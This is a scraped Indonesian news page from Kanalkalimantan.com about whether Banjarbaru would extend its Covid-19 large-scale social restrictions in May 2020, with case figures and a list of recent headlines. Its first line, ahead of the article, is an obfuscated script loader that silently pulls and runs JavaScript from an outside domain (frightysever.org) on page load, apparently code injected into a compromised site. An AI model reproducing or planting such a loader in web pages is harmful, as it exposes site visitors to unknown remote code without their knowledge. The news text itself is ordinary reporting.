(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: Kota Banjarbaru

Banjarbaru Lanjut PSBB Jilid II? Wali Kota Nadjmi Tunggu Pertimbangan Teknis


KANALKALIMANTAN.COM, BANJARBARU – Pelaksanaan Pembatasan Sosial Berskala Besar (PSBB) di Kota Banjarbaru tinggal tersisa dua hari lagi. Lantas dengan melihat kondisi saat ini, apakah PSBB di Banjarbaru akan berlanjut ke jilid II?

Wali Kota Banjarbaru Nadjmi Adhani, pada Rabu (27/5/2020) mengatakan, saat ini masih menunggu pertimbangan menyeluruh dan teknis. Keputusan untuk memperpanjang PSBB akan dibawa dalam rapat pembahasa yang akan digelar pada, Kamis (28/5/2020) besok. Dalam hal ini, pihaknya ingin memdengar pertimbangan teknis dari dinas terkait.

“Besok pagi kami rapat dengan video conference. Kita mau mendengarkan pertimbangan teknis dari dinas terkait. Dari pertimbangan inilah, baru kita sepakati PSBB di Banjarbaru akan diperpanjang atau tidak,” katanya.

Seperti yang diketahui, kali pertama PSBB di Banjarbaru dilaksanakan pada Sabtu (16/5/2020) lalu, tepat beberapa hari setelah keluarnya surat keputusan (SK) dari Kementrian Kesehatan RI.

Pelaksanaan PSBB berlangsung selama 14 hari lamanya dengan harapan dapat menekan angka kasus sebaran Covid-19.
Tentunya, salah satu indikator yang menjadi paling dipertimbangkan dalam keputusan untuk memperpanjang pelaksanaan PSBB, ialah perbandingan jumlah kasus Covid-19 sebelum dan sesudah dilaksanakannya PSBB.

Menurut data tim Gugus Tugas P2 Covid-19 Banjarbaru, per tanggal 15 Mei 2020, satu hari sebelum pelaksanaan PSBB, jumlah kasus positif Covid-19 di Banjarbaru ada sebanyak 11 kasus. Sedangkan, data sebaran per tanggal 27 Mei 2020 atau hari ke 12 pelaksanaan PSBB, kasus positif Covid-19 di Banjarbaru berjumlah 16 kasus.

Apabila data ini di bandingkan, tentu menunjukan adanya kenaikan jumlah kasus Covid-19 di Banjarbaru setelah berlangsungnya penerapan PSBB. Hanya saja, patut digarisbawahi belum bisa di klaim bahwa kasus-kasus baru tersebut muncul saat berlangsungnya PSBB.

Mengingat, keluarnya hasil swab untuk menyatakan seseorang positif atau negatif terpapar, membutuhkan waktu yang cukup lama.

Selain perbandingan jumlah kasus, tentu ada berbagai pertimbangan lainnya untuk memperpanjang PSBB di Banjarbaru. Baik jumlah kasus di daerah tetangga, trafik di Posko PSBB Perbatasan, hingga aktivitas masyarakat setelah berlangsungnya PSBB. (Kanalkalimantan.com/rico)

 

 

Reporter : Rico
Editor : Cell

 


Desy Arfianty

Recent Posts

Buka Peningkatan Kapasitas Kader PKK se-Kabupaten Banjar, Ini Harapan Nurgita Tiyas

KANALKALIMANTAN.COM, MARTAPURA - Ketua Tim Penggerak PKK Kabupaten Banjar Hj Nurgita Tiyas membuka Peningkatan Kapasitas… Read More

6 jam ago

Klaim Restu PKS Turun di Pilwali Banjarmasin, Mukhyar Cari Dukungan Nasdem

KANALKALIMANTAN.COM, BANJARMASIN - H Mukhyar masuk dalam penjaringan bakal calon Wali Kota Banjarmasin di Sekretariat… Read More

7 jam ago

Nongkrong di Eks Lokalisasi Pembatuan, Dua Perempuan Dibawa Satpol PP

KANALKALIMANTAN.COM, BANJARBARU - Satuan Polisi Pamong Praja (Satpol PP) Kota Banjarbaru kembali menggiring dua perempuan… Read More

7 jam ago

Berhasil Ditekan, Angka Stunting 2023 Kabupaten Kapuas 16,20 Persen

KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat (Pj) Bupati Kapuas Erlin Hardi mengatakan penilaian kinerja pelaksanaan 8… Read More

7 jam ago

Uji Trayek Angkutan Bus Pengumpan di Kota Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Dinas Perhubungan (Dishub) Kota Banjarbaru melakukan uji coba trayek atau rute angkutan… Read More

8 jam ago

Mengulang Pertarungan di Pilgub Kalsel, Denny Indrayana Lamar Nasdem

KANALKALIMANTAN.COM, BANJARBARU - Menjelang Pemilihan Kepala Daerah (Pilkada) 2024 di Provinsi Kalimantan Selatan (Kalsel), kandidat… Read More

11 jam ago

This website uses cookies.